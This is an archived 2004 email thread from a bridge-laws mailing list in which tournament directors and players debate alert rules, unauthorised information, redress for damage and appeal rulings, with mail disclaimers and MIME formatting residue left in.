disaster. In a slightly different context, S.J. (Skid) Simon recommended, "If psyched, remain psyched". :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 2 00:50:14 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 2 Mar 2004 10:50:14 +1000 Subject: [blml] is this valid? Message-ID: Sven Pran tended to rule: [snip] >And finally, because of the statement by East that >he considered 22 and 23 HCP "almost the same" and >the apparent fact that West expected more than 20 >or 21 HCP in East I would tend to rule that East >and West probably had an undisclosed agreement. [snip] Richard James Hills tended to disagree: In my opinion, Sven's tendency is a tendency to apply the discredited Rule of Coincidence. An agreement with partner is not an undertaking to the opponents - Law 40A. It is irrelevant that West avoided missing a 25 hcp 3NT contract. Optimism does *not* demonstrate any concealed partnership agreement. If North-South thought that dummy's hcp were inconsistent with AI from declarer, then the footnote to Law 16A2 states that the TD should have been summoned as soon as dummy's hand was exposed - to subsequently quibble about dummy's strength is too late. It is irrelevant whether East considers 22 and 23 hcp "almost the same" - what is relevant is whether West knows about East's innumeracy. A partnership agreement does not exist between East and East. So, what a TD should be asking is whether West has partnered East long enough for West to be aware of East's style of slightly underbidding big balanced hands. On the available information, Sven's ruling is, in my opinion, premature. In my opinion, an accurate ruling can only be made *after* a further TD investigation of the East-West partnership history. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 2 01:39:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 2 Mar 2004 11:39:12 +1000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts Message-ID: Frances Hinden wrote: [big snip] >What's my point? Unusual agreements like this are not >conspiciously shown on the card, are not subject to >pre-alerts (in the US), and could be a big suprise to >oppo. Yet I know of no set of alerting/cc regulations >where this will spring to your attention on a quick >read through. [big snip] Richard James Hills replies: The operative words in the above justified complaint are "(in the US)". As has been noted many times before on blml, the ACBL alert rules are overly legalistic, losing the Law 75A *principle* forest due to the ACBL focus on the *technical* trees. The basic *principle* of alert rules is to provide full disclosure to the opponents. Therefore, the ABF alert rules are in better accordance with the underpinning Law 75A *principle* that methods are "fully and freely available to the opponents". The ABF alert rules state, "disclose, not as little as you must, but as much as you can". The ABF pre-alert rules are also avoid any mere *technical* requirements, but are written consistently in Law 75A-styled *principle* language, "draw the opponents' attention to any unusual agreements you have which might surprise them, or to which they may need to arrange a defence." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From grabiner@alumni.princeton.edu Tue Mar 2 04:03:23 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 01 Mar 2004 23:03:23 -0500 Subject: [blml] ABF appeals 2003 In-Reply-To: Message-ID: <5.1.1.6.0.20040301223310.01a67dd0@mail.vzavenue.net> At 05:42 PM 3/1/2004, richard.hills@immi.gov.au wrote: >A report on ABF appeals in 2003 is located at: > >http://www.abf.com.au/directors/appeals.html A few comments: Appeal GC2 (p. 12): 1H-(P)-3D was ruled "self-alerting," and thus no damage could follow from a failure to alert the call I don't think this is a reasonable basis for the ruling. South held AKxxx of diamonds and out. If he had asked, and had been told that 3D was a strong jump shift (not alertable, I assume), he would have created serious UI; partner would probably be barred from leading a singleton diamond against an eventual 4H contract. Ignoring the "self-alerting" principle, the ruling is reasonable. South said that he knew that 3D should have been alerted but not what it meant. He did not ask because he and was afraid of creating extra UI by asking. But had South asked, West's explanation would have revealed the missing alert, and there would have been no more UI than if there had been a proper alert. Thus he was not damaged by the failure to alert. Appeal SNOT1 (p. 20): The AC gave a split ruling, 1/3 each of +50, +200, and +450, and averaged them to +230 before IMPing. The correct average should be based on the IMPS for the individual boards. If the offenders' teammates were -450, the offenders should get 1/3 each of -9, -6, and 0 for -5 IMPs, not the -6 IMPs that +230 scores against -450. From richard.hills@immi.gov.au Tue Mar 2 02:36:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 2 Mar 2004 12:36:20 +1000 Subject: [blml] Temptation Message-ID: Richard James Hills wrote: >>But no AC report reveals my UI ignorance, since neither >>side needs an AC when my ignorance of UI gives my side >>a poor score. Nigel Guthrie replied: >Welcome back Richard! Yes. that's a a good point. But >depending on the severity of the ruling, I would expect >an appeal involving such an incident, to have occurred >somewhere, over the past decades. I would be interested >in any appeal that illustrated this kind of active ethics, >even tangentially. All I'm trying to show is that the >alert rules tempt most people to be dishonest. I am not >too surprised to learn that there are exceptions like you >and Frances. [snip] Richard James Hills continues: Not only is no AC needed when a player follows Laws 16 & 73C against their own competitive interest, but no TD is needed in such a case. Therefore, such TD/AC rulings are rare, only occurring when ethical players get lucky when taking a logical alternative *contraindicated* by UI, and their opponents futilely demand redress for their bad luck. Some alert rules do tempt players to be dishonest. For example, the 4C Gerber convention is popular amongst Aussie bunnies. And, of course, bidding clubs as a natural suit at the four level is also popular amongst the same Aussie bunnies. The two-way ambiguity of 4C amongst Aussie bunnies was formerly mitigated by the former requirement to alert Gerber. Now, however, the ABF prohibits alerts of calls above 3NT, thus removing the Temptation for Aussie bunnies to engage in Gerber alert dishonesty. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nsousa@fc.up.pt Tue Mar 2 10:22:56 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Tue, 2 Mar 2004 10:22:56 -0000 Subject: [blml] is this valid? Message-ID: <6C60E0294337E84EBE5B198747277FA93642BC@MAIL.fc.up.pt> > On the available information, Sven's ruling is, in > my opinion, premature. In my opinion, an accurate > ruling can only be made *after* a further TD > investigation of the East-West partnership history. 'History' can be a brief one. In a European Championship, a friend of = mine had in his convention card "2D: Multi, 5-10 hcp" Then he bid 2D with 4 points, 1st seat. Opponents summoned director. = Result stands, friend was given a warning. Later on, he did it again with 4 points. Director summoned again. = Automatic adjustment. Friend appealed. Deposit forfeited :) From nigel.guthrie@ntlworld.com Tue Mar 2 11:53:50 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 2 Mar 2004 11:53:50 -0000 Subject: [blml] Should you point out infractions? Message-ID: <00cb01c4004d$0819b200$039468d5@tinyhrieuyik> A friend *never* points out an opponent's infraction -- only his own. Is there any law that says you *should* draw attention to an irregularity? Some laws that may be relevant... L72B3 says you have no obligation to draw attention to an inadvertent infraction of Law committed by your own side (but see footnote to Law 75 for a mistaken explanation). l76B forbids a spectator from calling attention to any irregularity or mistake [except, perhaps, by request of a Director who eats, shoots, and leaves]. L9A specifies who *may* call attention to an irregularity and when they may do so. L9A2b2 allows Dummy to try to stop declarer committing an irregularity (L42B2). Law 9B1a says the TD must be called *after attention has been drawn* to an irregularity. Law 9B1b then allows anybody to call the TD. Are there other relevant laws? Should you call the TD when there has been an infraction? or just when somebody can be bothered to draw attention to it? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From t.kooyman@worldonline.nl Tue Mar 2 12:25:12 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 2 Mar 2004 13:25:12 +0100 Subject: [blml] another pausey one References: Message-ID: <00df01c40053$d36a2150$c7f9f1c3@LNV> Karel: > > Playing last night in a teams match I was on an appeals group over this one > > > > E/W Vul dealer W > > > > S xx > > H KJTxxxx > > D Kx > > C xx > > > > S Qxxx S AKJx > > H x H Axx > > D Qxxxx D AT9xx > > C AQx C x > > > > S xxx > > H Qx > > D J > > C KJT9xxx > > > > Bidding > > W N E S > > P 3H DBL 4C > > 4S P 4NT 5C > > DBL* P 5S** P > > 6S Dbl all pass > > > > Result 6S making 1660 > > ** Pause established > I would agree with your AC ruling here, except that I would give N/S the > result that they earned at the table. > > Regards, > > Jack In the TD course organized by the EBL some weeks ago we have taught our TD's to handle this in the following way. 1)There is a normal result without the infraction (playing 5 spades and making 6). 2)There is normal result after the infraction (being 6 spades just made) 3)There is the result at the table after the (let us assume wild gambling) double. The difference between 1) and 2) is consequent damage and the difference between 2) and 3) is subsequent damage. There should be redress for the consequent part and no redress for the subsequent part. So, if the result at the other table is 6spades just made the offenders get - 13 imps (+ 680 - 1430) and the others with a table result of - 6 imps (+1430 - 1660) are compensated for those 13 imps they lost as a consequence of the infraction, giving them + 7 imps. The 6 imps between the +13 and + 7 represent the subsequent damage as a result of the double. I invite you to introduce this approach in your jurisdiction. And it is another example for those who were in Torino (I just read that Anne Jones has some problems with this calculation and I understand that) ton From svenpran@online.no Tue Mar 2 13:07:01 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 2 Mar 2004 14:07:01 +0100 Subject: [blml] Should you point out infractions? In-Reply-To: <00cb01c4004d$0819b200$039468d5@tinyhrieuyik> Message-ID: <000001c40057$409c8210$6900a8c0@WINXP> > Nigel Guthrie > A friend *never* points out an opponent's infraction -- > only his own. Is there any law that says you *should* > draw attention to an irregularity? >=20 > Some laws that may be relevant... >=20 > L72B3 says you have no obligation to draw attention to an > inadvertent infraction of Law committed by your own side > (but see footnote to Law 75 for a mistaken explanation). > l76B forbids a spectator from calling attention to any > irregularity or mistake [except, perhaps, by request of a > Director who eats, shoots, and leaves]. > L9A specifies who *may* call attention to an irregularity > and when they may do so. > L9A2b2 allows Dummy to try to stop declarer committing an > irregularity (L42B2). > Law 9B1a says the TD must be called *after attention > has been drawn* to an irregularity. Law 9B1b then allows > anybody to call the TD. >=20 > Are there other relevant laws? >=20 > Should you call the TD when there has been an infraction? or > just when somebody can be bothered to draw attention to it? You are never required to call attention to an irregularity (unless specifically required by law like in Law 75). However, if you notice an irregularity but do not call attention to it = until later and the Director judges that in this way you have contributed to = your own damage from that irregularity he should take this into consideration when ruling on the irregularity. The result may very well be that you = have jeopardized some or all your rights from the irregularity. =20 Regards Sven From nigel.guthrie@ntlworld.com Tue Mar 2 14:33:46 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 2 Mar 2004 14:33:46 -0000 Subject: [blml] Should you point out infractions? References: <000001c40057$409c8210$6900a8c0@WINXP> Message-ID: <013b01c40063$5faf41e0$039468d5@tinyhrieuyik> [Sven Pran] You are never required to call attention to an irregularity (unless specifically required by law like in Law 75). However, if you notice an irregularity but do not call attention to it until later and the Director judges that in this way you have contributed to your own damage from that irregularity he should take this into consideration when ruling on the irregularity. The result may very well be that you have jeopardized some or all your rights from the irregularity. [Nigel] Thank you Sven. Where in the laws does it say that? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From svenpran@online.no Tue Mar 2 15:20:03 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 2 Mar 2004 16:20:03 +0100 Subject: [blml] Should you point out infractions? In-Reply-To: <013b01c40063$5faf41e0$039468d5@tinyhrieuyik> Message-ID: <000001c40069$d6795b20$6900a8c0@WINXP> > Nigel Guthrie > [Sven Pran] > You are never required to call attention to an irregularity > (unless > specifically required by law like in Law 75). >=20 > However, if you notice an irregularity but do not call attention > to it until > later and the Director judges that in this way you have > contributed to your > own damage from that irregularity he should take this into > consideration > when ruling on the irregularity. The result may very well be that > you have > jeopardized some or all your rights from the irregularity. >=20 > [Nigel] > Thank you Sven. Where in the laws does it say that? "You are never required" follows from Law 9A ("may call attention"). Frankly I am not aware of any law that explicitly states failing to call attention may cause right(s) to be jeopardized, but indirectly it = follows (IMO) from the principle in many of the laws that NOS is entitled to = redress for damage caused by the irregularity (and thus not for self-inflicted damage indirectly or directly associated with the irregularity). It all ends up with a judgment for the Director to what extent damage is = the result of NOS not calling attention to irregularity of which they are = aware. I had a couple of such cases in a regional event recently (although technically it can be argued that the cases were not about failing to = call attention to an irregularity but failure to summon the Director): =20 Some kind of misinformation by declaring side became apparent before the opening lead, and afterwards it became evident that NOS (the defense) = had been damaged because of this. However, my investigation clearly showed = that damage had most likely been avoided if I had been there to roll back the auction and let the last pass by defenders be retracted. I explained = this to both sides and ruled "No adjustment". Regards Sven From ereppert@rochester.rr.com Tue Mar 2 15:39:13 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 2 Mar 2004 10:39:13 -0500 Subject: [blml] is this valid? In-Reply-To: <6C60E0294337E84EBE5B198747277FA93642BC@MAIL.fc.up.pt> Message-ID: On Tuesday, Mar 2, 2004, at 05:22 US/Eastern, Nuno Miguel Marques de Sousa wrote: > 'History' can be a brief one. In a European Championship, a friend of > mine had in his convention card > > "2D: Multi, 5-10 hcp" > > Then he bid 2D with 4 points, 1st seat. Opponents summoned director. > Result stands, friend was given a warning. > > Later on, he did it again with 4 points. Director summoned again. > Automatic adjustment. Friend appealed. Deposit forfeited :) As players we are taught that HCP are a guideline, not an absolute rule, and not a very good one where unbalanced hands are concerned. And then we get upset when an opponent bids with one point outside his stated range. Why is that? And why do we make rulings that say "when you state a HCP range for a bid, it's an absolute rule"? From ereppert@rochester.rr.com Tue Mar 2 15:42:42 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 2 Mar 2004 10:42:42 -0500 Subject: [blml] Should you point out infractions? In-Reply-To: <013b01c40063$5faf41e0$039468d5@tinyhrieuyik> Message-ID: <3E288C33-6C60-11D8-9281-0030656F6826@rochester.rr.com> On Tuesday, Mar 2, 2004, at 09:33 US/Eastern, Nigel Guthrie wrote: > Thank you Sven. Where in the laws does it say that? Law 11A. From gesta@tiscali.co.uk Tue Mar 2 14:35:41 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Tue, 2 Mar 2004 14:35:41 -0000 Subject: [blml] Address notification Message-ID: <000301c40099$6a0698b0$3d2b2850@multivisionoem> Grattan Endicott Message-ID: <000001c400a3$49935c80$6900a8c0@WINXP> > > Thank you Sven. Where in the laws does it say that? Ed Reppert: > Law 11A. No, I am not so sure that law applies - but well, it just might? It says "before summoning the Director", it does not directly address = the player who aware of an irregularity fails to call attention to it until later and then claims damage. However, to me this is splitting hairs; if I find that a non-offending = side has contributed to their own damage I just do not give them redress for = that part of it. Regards Sven From ehaa@starpower.net Tue Mar 2 22:39:08 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 02 Mar 2004 17:39:08 -0500 Subject: [blml] another pausey one In-Reply-To: <00df01c40053$d36a2150$c7f9f1c3@LNV> References: Message-ID: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> At 07:25 AM 3/2/04, Ton wrote: >In the TD course organized by the EBL some weeks ago we have taught >our TD's >to handle this in the following way. > >1)There is a normal result without the infraction (playing 5 spades and >making 6). >2)There is normal result after the infraction (being 6 spades just made) >3)There is the result at the table after the (let us assume wild gambling) >double. > >The difference between 1) and 2) is consequent damage and the difference >between 2) and 3) is subsequent damage. There should be redress for the >consequent part and no redress for the subsequent part. > >So, if the result at the other table is 6spades just made the offenders >get - 13 imps (+ 680 - 1430) and the others with a table result of - 6 >imps >(+1430 - 1660) are compensated for those 13 imps they lost as a >consequence >of the infraction, giving them + 7 imps. The 6 imps between the +13 >and + 7 >represent the subsequent damage as a result of the double. > >I invite you to introduce this approach in your jurisdiction. And it is >another example for those who were in Torino (I just read that Anne Jones >has some problems with this calculation and I understand that) This is a very sensible approach. But if it's going to be written down officially somewhere, whoever writes the text should be very careful with the wording. *All* of the damage in Ton's example is "subsequent" (to the infraction). Only the difference between 1 and 2 is "consequent" (to the infraction). The difference between 2 and 3 might be called "non-consequent" (to the infraction). There normally *should* be redress for *all* of the subsequent damage, including the non-consequent component. Redress for the damage that is non-consequent to the infraction is denied *only* if it *is* consequent to an egregious error (ACBL), or irrational, wild or gambling action (Europe & elsewhere), by the NOS. That is *not* the usual case, and this needs to be emphasized. We do not want TDs and ACs to refuse redress for non-consequent damage caused by ordinary errors, even gross ones, or simply poor choices of action, even very poor ones. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From richard.hills@immi.gov.au Tue Mar 2 23:31:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 3 Mar 2004 09:31:15 +1000 Subject: [blml] ABF appeals 2003 Message-ID: David J. Grabiner wrote: >A few comments: > >Appeal GC2 (p. 12): 1H-(P)-3D was ruled "self-alerting," >and thus no damage could follow from a failure to alert >the call. I don't think this is a reasonable basis for >the ruling. [snip] Richard James Hills replies: The TD correctly ruled that the 3D call should have been alerted under ABF alert rules. But the TD also ruled that the failure to alert caused no damage. However, the AC erroneously ruled that the 3D call should not have been alerted, because the 3D call was what the ABF alert rules deem a "self-alerting" call. The AC was in a time-warp; the 3D call would have been "self- alerting" over a decade ago, under previous ABF alert rules, but not now. The AC's ignorance of the current ABF alert rules may have been decisive in their decision to uphold the TD's ruling. If so, the AC's failure to research current ABF alert rules has resulted in an avoidable miscarriage of justice. A second issue is raised by this TD statement: "Law 16 makes no distinction between the status of U.I. that may arise due to questions asked about either alerted calls or non-alerted calls." This TD statement is correct under current Law, but is a matter of some controversy amongst members of the WBF Laws Commission, as is shown by an attached extract from the minutes of the WBF LC Monaco meeting. Best wishes RJH * * * Selected WBF Laws Commission Minutes - Monaco As has been the practice at recent World Championships, the Laws Commission of the WBF met, discussed and clarified some of the ambiguities present in the 1997 Laws of Duplicate Contract Bridge. What follows is an extract from the most recent meeting's minutes. * The Chairman raised the question of the practice of the English Bridge Union in discouraging questions by players when the answer to the question would not affect their immediate action on the hand. He felt that this is contrary to the laws. The Secretary provided copies of the regulation in question. This does not prohibit a question but reminds players of the risk of passing unauthorised information to partner and urges that questions be left until the player needs to know that answer and, wherever possible, until after the opening lead has been selected (or the questioner is about to select an opening lead). It was agreed by all present that the laws allow a question to be asked. Members present offered a wide variety of opinion on the subject generally. Two members stated that if it is announced that a question is asked very time there is an alert there can be no unauthorised information to partner, but allowed that the manner of asking the question could still create information. It was also pointed out that a player who said he would ask about every alert and then failed to do so from time to time defeated his object of not conveying unauthorised information. The Secretary expressed his concern about the potential of questions to mislead opponents and drew attention to the requirement where this is alleged to have happened (and the questioner could have known that asking the question might work to his benefit) to show (Law 73F2) that he had a "demonstrable bridge reason" for asking the question. The Chairman expressed his opinion that Law 73F2 should only be used in extreme situations when a player asks about the meaning of a call. He thought that normally a desire to know what is happening at the table is a good enough "bridge reason". Mr Schoder cited his experience of a case where, in his opinion, it was appropriate to apply that law and, likewise not convinced of the Chairman=EDs argument, the Secretary maintained his position that the occasion for applying 73F2 is a matter for the Director and the Appeals Committee to judge. Mr Wignall spoke of the possibility of asking questions randomly whether interested or not. He felt there needed to be some scope for asking questions even when not interested in the reply. Mr Schoder referred to the possibility of replacing alerts with announcements. There was no final resolution of the differences of opinion and no agreed interpretation of the Law. It was acknowledged that it is a matter that the laws drafting subcommittee will have to consider and its proposals for the future should be presented clearly in its drafts. -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Mar 3 00:07:50 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 3 Mar 2004 10:07:50 +1000 Subject: [blml] Should you point out infractions? Message-ID: Sven Pran discussed Law 11A: [snip] >It says "before summoning the Director", it does not >directly address the player who aware of an irregularity >fails to call attention to it until later and then >claims damage. [snip] Richard James Hills quibbles: Law 11A uses the words "irregularity" and "subsequent action". Law 11A does *not* mention the Law 9A phrase of "call attention to an irregularity". Therefore, in my humble opinion, Law 11A applies to *all* irregularities; both to those for which attention has been called, and also to those for which attention has not been called. On the broader question of whether you "should" knowingly avoid calling attention to an opponent's infraction, this may itself be an infraction of Law 72A3. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From schoderb@msn.com Tue Mar 2 11:38:21 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 2 Mar 2004 06:38:21 -0500 Subject: [blml] Re: This day, whatever year. References: <496DD00D-6AF4-11D8-BF01-0003936A6522@gordonrainsford.co.uk> <000d01c3ffd3$f914fb30$9e192850@multivisionoem> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C40020.F4A00DE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable When I was in Taiwan in 1958-1959 we were told that you subtracted 1911 = from the world calendar to get the Chinese year since the Republic of = China had been declared by Chaing-Kai-Shek on that year and the calender = restarted. I wonder if that has been continued up to now. =3DK=3D ----- Original Message -----=20 From: Grattan Endicott=20 To: WILLIAM SCHODER ; Gordon = Rainsford=20 Cc: blml=20 Sent: Monday, March 01, 2004 4:09 AM Subject: This day, whatever year. Grattan Endicott ++++++++++++++++++++++++++++++++ "After all, tomorrow is another day." Closing line, 'Gone with the Wind'. =3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D Subject: Re: [blml] Black hole problem From: Gordon = Rainsford>=20 1996 in Ethiopia. From: "WILLIAM SCHODER" > Or I believe 93 in Republic of China, (Taiwan) < +=3D+ Born again peoples? +=3D+ ------=_NextPart_000_0006_01C40020.F4A00DE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
When I was in Taiwan in 1958-1959 we were told that you subtracted = 1911=20 from the world calendar to get the Chinese year since the Republic of = China had=20 been declared by Chaing-Kai-Shek on that year and the calender = restarted. I=20 wonder if that has been continued up to now.
 
=3DK=3D
----- Original Message -----
To: WILLIAM SCHODER ; Gordon Rainsford =
Cc: blml
Sent: Monday, March 01, 2004 = 4:09=20 AM
Subject: This day, whatever = year.


Grattan Endicott<gesta@tiscali.co.uk
++++++++++= ++++++++++++++++++++++
"After=20 all, tomorrow is another=20 = day."
          &nbs= p;    =20 Closing line, 'Gone with the=20 = Wind'.
 =3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D#=3D= #=3D#=3D
Subject: Re: [blml] Black=20 hole problem
 From: Gordon Rainsford<mailto:gordon@gordonrainsfor= d.co.uk>=20
  1996 in Ethiopia.
From: "WILLIAM SCHODER" <schoderb@msn.com>
Or I = believe 93 in=20 Republic of China, (Taiwan)
<
+=3D+ Born again peoples?=20 +=3D+
------=_NextPart_000_0006_01C40020.F4A00DE0-- From mario@bridge.org.mt Tue Mar 2 13:44:47 2004 From: mario@bridge.org.mt (Mario Dix) Date: Tue, 2 Mar 2004 14:44:47 +0100 Subject: [blml] Re: copied from RGB (David S) Message-ID: <001801c4005c$87cdf6f0$5caea5d5@Mario> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C40064.E9925EF0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Assume that the only way that you can have lost just 100 when losing 5 tricks in a dbled vul contract, without assigned or adjusted score, was that you got one trick back for a latish revoke and that you were playing rubber or Chicago where u also got 100 honours (net score -100)? Mario Dix Insert a catchy tag line or saying here Mario Dix 13 Preca Court Old College Street Sliema SLM 05 Malta mario@bridge.org.mt tel: fax: mobile: 00 356 2131 2946 00 356 2132 0444 00 356 9949 3167 Powered by Plaxo Want a signature like this? ------=_NextPart_000_0019_01C40064.E9925EF0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Assume = that the only=20 way that you can have lost just 100 when losing 5 tricks in a dbled vul=20 contract, without assigned or adjusted score, was that you got one trick = back=20 for a latish revoke and that you were playing rubber or Chicago where u = also got=20 100 honours (net score -100)?
 
Mario=20 Dix
 
Insert a catchy tag line or saying=20 here
Mario Dix 13 Preca Court
Old College=20 Street
Sliema SLM 05
Malta
mario@bridge.org.mt
tel: =
fax:=20
mobile: 		00 356 2131 2946
00 356 = 2132=20 0444
00 356 9949 3167=20 =
Powered by Plaxo Want a=20 signature like = this?
 

------=_NextPart_000_0019_01C40064.E9925EF0-- From schoderb@msn.com Tue Mar 2 23:28:10 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 2 Mar 2004 18:28:10 -0500 Subject: [blml] another pausey one References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0023_01C40084.1D9A48B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I think Eric's comments merit intensive and careful reading. Coming up = with nice packaged ways of handling rulings maybe desirable, and the = examples always somehow seem to completely fit the postures taken, but = are fraught with dangers. What was the "normal" result for the bidding = at this table BY THESE PLAYERS, AT THIS TIME? Was it 5 spades, or was = it 5 clubs doubled (as would be the opinion of those who strongly favor = to give full value to all that happened right up to before the wheels = fell off and an infraction occurred)? Where did the idea come from that = 5 spades is the "normal" result? (Are there still people out there that = think that the infraction is the governing hesitation?) Caution, please. = I understand the desire to have recipes and escape from having to use = judgment, but that isn't what a TDs job consists of. From: Eric Landau=20 To: Bridge Laws Discussion List=20 Sent: Tuesday, March 02, 2004 5:39 PM Subject: Re: [blml] another pausey one At 07:25 AM 3/2/04, Ton wrote: >In the TD course organized by the EBL some weeks ago we have taught=20 >our TD's >to handle this in the following way. > >1)There is a normal result without the infraction (playing 5 spades = and >making 6). >2)There is normal result after the infraction (being 6 spades just = made) >3)There is the result at the table after the (let us assume wild = gambling) >double. > >The difference between 1) and 2) is consequent damage and the = difference >between 2) and 3) is subsequent damage. There should be redress for = the >consequent part and no redress for the subsequent part. > >So, if the result at the other table is 6spades just made the = offenders >get - 13 imps (+ 680 - 1430) and the others with a table result of - = 6=20 >imps >(+1430 - 1660) are compensated for those 13 imps they lost as a=20 >consequence >of the infraction, giving them + 7 imps. The 6 imps between the +13=20 >and + 7 >represent the subsequent damage as a result of the double. > >I invite you to introduce this approach in your jurisdiction. And it = is >another example for those who were in Torino (I just read that Anne = Jones >has some problems with this calculation and I understand that) This is a very sensible approach. But if it's going to be written = down=20 officially somewhere, whoever writes the text should be very careful=20 with the wording. *All* of the damage in Ton's example is "subsequent" (to the=20 infraction). Only the difference between 1 and 2 is "consequent" (to=20 the infraction). The difference between 2 and 3 might be called=20 "non-consequent" (to the infraction). There normally *should* be redress for *all* of the subsequent damage, = including the non-consequent component. Redress for the damage that = is=20 non-consequent to the infraction is denied *only* if it *is* = consequent=20 to an egregious error (ACBL), or irrational, wild or gambling action=20 (Europe & elsewhere), by the NOS. That is *not* the usual case, and=20 this needs to be emphasized. We do not want TDs and ACs to refuse=20 redress for non-consequent damage caused by ordinary errors, even = gross=20 ones, or simply poor choices of action, even very poor ones. Eric Landau = ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 _______________________________________________ blml mailing list blml@rtflb.org = http://www.amsterdamned.org/mailman/listinfo/blml ------=_NextPart_000_0023_01C40084.1D9A48B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
